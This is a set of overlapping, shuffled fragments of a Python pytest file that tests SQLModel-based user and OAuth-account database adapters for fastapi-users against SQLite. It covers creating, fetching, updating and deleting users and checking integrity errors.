"database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]):",
"def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user =",
"None assert email_user.id == user_db.id # Unknown user unknown_user =",
"@pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with",
"== user_db.id # Get by uppercased email email_user = await",
"in query result.\"\"\" user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\",",
"sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]",
"Session(engine) as session: yield session SQLModel.metadata.drop_all(engine) async def init_async_session(url: str)",
"OAuthAccount]): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create",
"import OAuthAccount, UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url:",
"= create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine) as session: yield",
"deleted_user = await sqlmodel_user_db.get(user.id) assert deleted_user is None # Exception",
"await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async def",
"sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio",
"async with engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all) async with make_session()",
"UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user =",
"== user_db.id assert id_user.is_superuser is True # Get by email",
"by uppercased email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is",
"): with pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" )",
"# Get by uppercased email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert",
"user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get by email email_user",
"def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ): user =",
"params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ],",
"sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\",",
"await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not None assert email_user.id ==",
"by email email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not",
"test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", )",
"\"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get by id id_user = await",
"assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" # Get by email email_user =",
"from typing import AsyncGenerator import pytest from sqlalchemy import exc",
"# Delete user await sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id) assert",
"not None assert email_user.id == user_db.id # Get by uppercased",
"None assert oauth_user.id == user.id assert len(oauth_user.oauth_accounts) == 2 #",
"not None assert id_user.id == user_db.id assert id_user.is_superuser is True",
"database_class = request.param[2] async for session in create_session(database_url): yield database_class(UserDB,",
"user_db.id # Unknown user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user",
"assert email_user is not None assert email_user.id == user_db.id assert",
"import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest import OAuthAccount,",
"= request.param[2] async for session in create_session(database_url): yield database_class(UserDB, session)",
"import uuid from typing import AsyncGenerator import pytest from sqlalchemy",
"params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync,",
"sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url = request.param[1]",
"SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should output custom fields in query",
"OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user =",
"by OAuth account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id )",
"await sqlmodel_user_db.get(user.id) assert id_user is not None assert id_user.id ==",
"2 # Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get",
"= UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email = None #",
"make_session() as session: yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session,",
"async def init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url,",
"unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None # Delete",
"id_user is not None assert id_user.id == user.id assert id_user.first_name",
"email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB,",
"OAuth account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async",
"# Unknown user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is",
"should output custom fields in query result.\"\"\" user = UserDB(",
"email email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not None",
"False}) make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with engine.begin() as",
"sqlmodel_user_db.get(user.id) assert id_user is not None assert id_user.id == user.id",
") # Create user_db = await sqlmodel_user_db_oauth.create(user) assert user_db.id is",
"= sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with engine.begin() as conn: await",
"assert oauth_user is not None assert oauth_user.id == user.id assert",
"email email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not None",
"None assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) == 2 # Update",
"None # type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def",
"# Unknown OAuth account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\", \"bar\") assert",
"-> AsyncGenerator[Session, None]: engine = create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with",
"== user.first_name @pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount],",
"user.id assert len(oauth_user.oauth_accounts) == 2 # Unknown OAuth account unknown_oauth_user",
"<gh_stars>10-100 import uuid from typing import AsyncGenerator import pytest from",
"is not None assert email_user.id == user_db.id # Unknown user",
"), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase,",
"create_async_engine(url, connect_args={\"check_same_thread\": False}) make_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False) async with",
"is not None assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) == 2",
"None assert id_user.id == user_db.id assert id_user.is_superuser is True #",
"database_class(UserDB, session) @pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), (",
"import sessionmaker from sqlmodel import Session, SQLModel, create_engine from fastapi_users_db_sqlmodel",
") assert oauth_user is not None assert oauth_user.id == user.id",
"False}) SQLModel.metadata.create_all(engine) with Session(engine) as session: yield session SQLModel.metadata.drop_all(engine) async",
"init_sync_session(url: str) -> AsyncGenerator[Session, None]: engine = create_engine(url, connect_args={\"check_same_thread\": False})",
"len(user_db.oauth_accounts) == 2 # Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db)",
"sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid,",
"sqlmodel_user_db.create(user) assert user_db.id is not None assert user_db.is_active is True",
"), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], )",
"Get by id id_user = await sqlmodel_user_db.get(user.id) assert id_user is",
"pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") ) @pytest.mark.asyncio @pytest.mark.db async",
"Get by email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is",
"( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async",
"def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url =",
"user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get by id id_user",
"user_db = await sqlmodel_user_db.create(user) assert user_db.id is not None assert",
"assert unknown_user is None # Delete user await sqlmodel_user_db.delete(user) deleted_user",
"email_user = await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not None assert",
"sessionmaker from sqlmodel import Session, SQLModel, create_engine from fastapi_users_db_sqlmodel import",
"async for session in create_session(database_url): yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio",
"Create user_db = await sqlmodel_user_db_oauth.create(user) assert user_db.id is not None",
"# Update user_db.is_superuser = True await sqlmodel_user_db.update(user_db) # Get by",
"): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user)",
"hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) == 2 # Update user_db.oauth_accounts[0].access_token =",
"user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with",
"= UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user",
"== 2 # Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) #",
"= None # type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async",
"= \"NEW_TOKEN\" await sqlmodel_user_db_oauth.update(user_db) # Get by id id_user =",
"with engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all) async with make_session() as",
"def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\",",
"# Get by email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user",
"is True # Get by email email_user = await sqlmodel_user_db.get_by_email(str(user.email))",
"custom fields in query result.\"\"\" user = UserDB( id=safe_uuid, email=\"<EMAIL>\",",
"assert email_user.id == user_db.id # Unknown user unknown_user = await",
"= await sqlmodel_user_db.get(user.id) assert id_user is not None assert id_user.id",
"assert email_user.id == user_db.id # Get by uppercased email email_user",
"@pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ):",
"request.param[0] database_url = request.param[1] database_class = request.param[2] async for session",
"None # Delete user await sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id)",
"output custom fields in query result.\"\"\" user = UserDB( id=safe_uuid,",
"result.\"\"\" user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await",
"is not None assert id_user.id == user.id assert id_user.first_name ==",
"email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid,",
") from tests.conftest import OAuthAccount, UserDB, UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\")",
"2 # Unknown OAuth account unknown_oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(\"foo\", \"bar\")",
"sqlmodel_user_db_oauth.update(user_db) # Get by id id_user = await sqlmodel_user_db_oauth.get(user.id) assert",
"await sqlmodel_user_db_oauth.create(user) assert user_db.id is not None assert hasattr(user_db, \"oauth_accounts\")",
"OAuth account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert",
"= UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError):",
"( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabaseAsync, ),",
"sqlmodel_user_db.get(user.id) assert id_user is not None assert id_user.id == user_db.id",
"oauth_account1, oauth_account2, ): user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1,",
"user await sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id) assert deleted_user is",
"@pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): user =",
"\"async\"], ) async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session =",
"is not None assert id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token ==",
"with Session(engine) as session: yield session SQLModel.metadata.drop_all(engine) async def init_async_session(url:",
"= await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user is not",
"is not None assert id_user.id == user_db.id assert id_user.is_superuser is",
"None]: create_session = request.param[0] database_url = request.param[1] database_class = request.param[2]",
"= request.param[1] database_class = request.param[2] async for session in create_session(database_url):",
"@pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It",
") async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0]",
"yield database_class(UserDBOAuth, session, OAuthAccount) @pytest.mark.asyncio @pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB,",
"is None # Exception when trying to get by OAuth",
"= request.param[2] async for session in create_session(database_url): yield database_class(UserDBOAuth, session,",
"import AsyncSession, create_async_engine from sqlalchemy.orm import sessionmaker from sqlmodel import",
"pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email( sqlmodel_user_db:",
"by OAuth account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db",
"by id id_user = await sqlmodel_user_db.get(user.id) assert id_user is not",
"SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest import OAuthAccount, UserDB, UserDBOAuth safe_uuid",
"await conn.run_sync(SQLModel.metadata.create_all) async with make_session() as session: yield session await",
"= await sqlmodel_user_db.create(user) assert user_db.id is not None assert user_db.is_active",
"database_class = request.param[2] async for session in create_session(database_url): yield database_class(UserDBOAuth,",
"uuid from typing import AsyncGenerator import pytest from sqlalchemy import",
"sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not None assert email_user.id == user_db.id",
"not None assert user_db.is_active is True assert user_db.is_superuser is False",
"conn.run_sync(SQLModel.metadata.create_all) async with make_session() as session: yield session await conn.run_sync(SQLModel.metadata.drop_all)",
"await sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id) assert id_user is not",
"get by OAuth account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio",
"id_user.is_superuser is True # Get by email email_user = await",
"assert id_user is not None assert id_user.id == user_db.id assert",
"None assert id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\" #",
") # Create user_db = await sqlmodel_user_db.create(user) assert user_db.id is",
"id_user.id == user.id assert id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db async",
"SQLModel.metadata.drop_all(engine) async def init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]: engine =",
"2 # Get by OAuth account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account(",
"Exception when trying to get by OAuth account with pytest.raises(NotSetOAuthAccountTableError):",
"database_url = request.param[1] database_class = request.param[2] async for session in",
") await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\")",
"oauth_account2], ) # Create user_db = await sqlmodel_user_db_oauth.create(user) assert user_db.id",
"\"async\"], ) async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session =",
"with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async def test_insert_existing_email(",
"async with make_session() as session: yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture(",
"True await sqlmodel_user_db.update(user_db) # Get by id id_user = await",
"yield database_class(UserDB, session) @pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ),",
"SQLModel.metadata.create_all(engine) with Session(engine) as session: yield session SQLModel.metadata.drop_all(engine) async def",
"UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create user_db = await",
"= await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not None assert email_user.id",
"test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should output custom fields",
"AsyncGenerator import pytest from sqlalchemy import exc from sqlalchemy.ext.asyncio import",
"(init_sync_session, \"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\",",
"): user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], )",
"to get by OAuth account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\")",
"sqlmodel_user_db.update(user_db) # Get by id id_user = await sqlmodel_user_db.get(user.id) assert",
"\"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db(request)",
"OAuthAccount], ): \"\"\"It should output custom fields in query result.\"\"\"",
"expire_on_commit=False) async with engine.begin() as conn: await conn.run_sync(SQLModel.metadata.create_all) async with",
"deleted_user is None # Exception when trying to get by",
"when trying to get by OAuth account with pytest.raises(NotSetOAuthAccountTableError): await",
"UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await",
"user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user)",
"email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\" ) wrong_user.email = None # type: ignore await",
"Get by OAuth account oauth_user = await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id",
"as session: yield session SQLModel.metadata.drop_all(engine) async def init_async_session(url: str) ->",
"session) @pytest.fixture( params=[ ( init_sync_session, \"sqlite:///./test-sqlmodel-user-oauth.db\", SQLModelUserDatabase, ), ( init_async_session,",
"engine = create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine) with Session(engine) as session:",
"wrong_user.email = None # type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db",
"str) -> AsyncGenerator[Session, None]: engine = create_engine(url, connect_args={\"check_same_thread\": False}) SQLModel.metadata.create_all(engine)",
"await sqlmodel_user_db.delete(user) deleted_user = await sqlmodel_user_db.get(user.id) assert deleted_user is None",
"user.first_name @pytest.mark.asyncio @pytest.mark.db async def test_queries_oauth( sqlmodel_user_db_oauth: SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1,",
"\"\"\"It should output custom fields in query result.\"\"\" user =",
") await sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id) assert id_user is",
"\"sqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabase), ( init_async_session, \"sqlite+aiosqlite:///./test-sqlmodel-user.db\", SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"],",
"id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create user_db = await sqlmodel_user_db.create(user)",
"SQLModelUserDatabase[UserDBOAuth, OAuthAccount], oauth_account1, oauth_account2, ): user = UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\",",
"Create user_db = await sqlmodel_user_db.create(user) assert user_db.id is not None",
"await sqlmodel_user_db.create(user) with pytest.raises(exc.IntegrityError): await sqlmodel_user_db.create( UserDB(id=safe_uuid, email=user.email, hashed_password=\"<PASSWORD>\") )",
"async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url",
"assert id_user.id == user.id assert id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db",
"OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\"",
"await sqlmodel_user_db_oauth.get(user.id) assert id_user is not None assert id_user.id ==",
"email_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not None assert",
"as session: yield session await conn.run_sync(SQLModel.metadata.drop_all) @pytest.fixture( params=[ (init_sync_session, \"sqlite:///./test-sqlmodel-user.db\",",
"# Exception when trying to get by OAuth account with",
"ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session",
"def init_sync_session(url: str) -> AsyncGenerator[Session, None]: engine = create_engine(url, connect_args={\"check_same_thread\":",
"await sqlmodel_user_db_oauth.get_by_oauth_account( oauth_account1.oauth_name, oauth_account1.account_id ) assert oauth_user is not None",
"\"oauth_accounts\") assert len(user_db.oauth_accounts) == 2 # Update user_db.oauth_accounts[0].access_token = \"NEW_TOKEN\"",
"first_name=\"Lancelot\", ) await sqlmodel_user_db.create(user) id_user = await sqlmodel_user_db.get(user.id) assert id_user",
"= UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create user_db =",
"SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) #",
"@pytest.mark.db async def test_queries(sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount]): user = UserDB( id=safe_uuid,",
"SQLModelUserDatabaseAsync, ) from tests.conftest import OAuthAccount, UserDB, UserDBOAuth safe_uuid =",
"is not None assert user_db.is_active is True assert user_db.is_superuser is",
"email_user.id == user_db.id assert len(email_user.oauth_accounts) == 2 # Get by",
"user = UserDB( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", ) # Create user_db",
"user_db.id assert id_user.is_superuser is True # Get by email email_user",
"assert user_db.id is not None assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts)",
"SQLModel, create_engine from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, )",
"id_user = await sqlmodel_user_db.get(user.id) assert id_user is not None assert",
"exc from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from sqlalchemy.orm import sessionmaker",
"email email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not None",
"create_async_engine from sqlalchemy.orm import sessionmaker from sqlmodel import Session, SQLModel,",
"( NotSetOAuthAccountTableError, SQLModelUserDatabase, SQLModelUserDatabaseAsync, ) from tests.conftest import OAuthAccount, UserDB,",
"= uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str) -> AsyncGenerator[Session, None]: engine",
"SQLModelUserDatabaseAsync, ), ], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db(request) ->",
"async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session = request.param[0] database_url",
"sqlmodel import Session, SQLModel, create_engine from fastapi_users_db_sqlmodel import ( NotSetOAuthAccountTableError,",
"email_user = await sqlmodel_user_db_oauth.get_by_email(str(user.email)) assert email_user is not None assert",
"email_user is not None assert email_user.id == user_db.id assert len(email_user.oauth_accounts)",
"sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None # Delete user await sqlmodel_user_db.delete(user)",
"= await sqlmodel_user_db.get(user.id) assert deleted_user is None # Exception when",
"== user.id assert id_user.first_name == user.first_name @pytest.mark.asyncio @pytest.mark.db async def",
"ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db(request) -> AsyncGenerator[SQLModelUserDatabase, None]: create_session",
"init_async_session(url: str) -> AsyncGenerator[AsyncSession, None]: engine = create_async_engine(url, connect_args={\"check_same_thread\": False})",
"not None assert hasattr(user_db, \"oauth_accounts\") assert len(user_db.oauth_accounts) == 2 #",
"None assert email_user.id == user_db.id # Get by uppercased email",
"assert id_user.id == user_db.id assert id_user.is_superuser is True # Get",
"@pytest.mark.db async def test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError):",
"UserDBOAuth( id=safe_uuid, email=\"<EMAIL>\", hashed_password=\"<PASSWORD>\", oauth_accounts=[oauth_account1, oauth_account2], ) # Create user_db",
"# type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields(",
"Unknown user unknown_user = await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None",
"UserDBOAuth safe_uuid = uuid.UUID(\"a9089e5d-2642-406d-a7c0-cbc641aca0ec\") async def init_sync_session(url: str) -> AsyncGenerator[Session,",
"type: ignore await sqlmodel_user_db.create(wrong_user) @pytest.mark.asyncio @pytest.mark.db async def test_queries_custom_fields( sqlmodel_user_db:",
"account with pytest.raises(NotSetOAuthAccountTableError): await sqlmodel_user_db.get_by_oauth_account(\"foo\", \"bar\") @pytest.mark.asyncio @pytest.mark.db async def",
"import exc from sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from sqlalchemy.orm import",
"user_db.is_active is True assert user_db.is_superuser is False assert user_db.email ==",
"sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert email_user is not None assert email_user.id == user_db.id",
"SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user = UserDB( id=safe_uuid, email=\"<EMAIL>\",",
"is True assert user_db.is_superuser is False assert user_db.email == user.email",
"], ids=[\"sync\", \"async\"], ) async def sqlmodel_user_db_oauth(request) -> AsyncGenerator[SQLModelUserDatabase, None]:",
"= await sqlmodel_user_db.get_by_email(str(user.email)) assert email_user is not None assert email_user.id",
"def test_queries_custom_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount], ): \"\"\"It should output custom",
"await sqlmodel_user_db.get_by_email(\"<EMAIL>\") assert unknown_user is None # Delete user await",
"is not None assert email_user.id == user_db.id assert len(email_user.oauth_accounts) ==",
"False assert user_db.email == user.email # Update user_db.is_superuser = True",
"sqlalchemy.ext.asyncio import AsyncSession, create_async_engine from sqlalchemy.orm import sessionmaker from sqlmodel",
"test_insert_non_nullable_fields( sqlmodel_user_db: SQLModelUserDatabase[UserDB, OAuthAccount] ): with pytest.raises(exc.IntegrityError): wrong_user = UserDB(",
"not None assert id_user.id == user_db.id assert id_user.oauth_accounts[0].access_token == \"NEW_TOKEN\"",
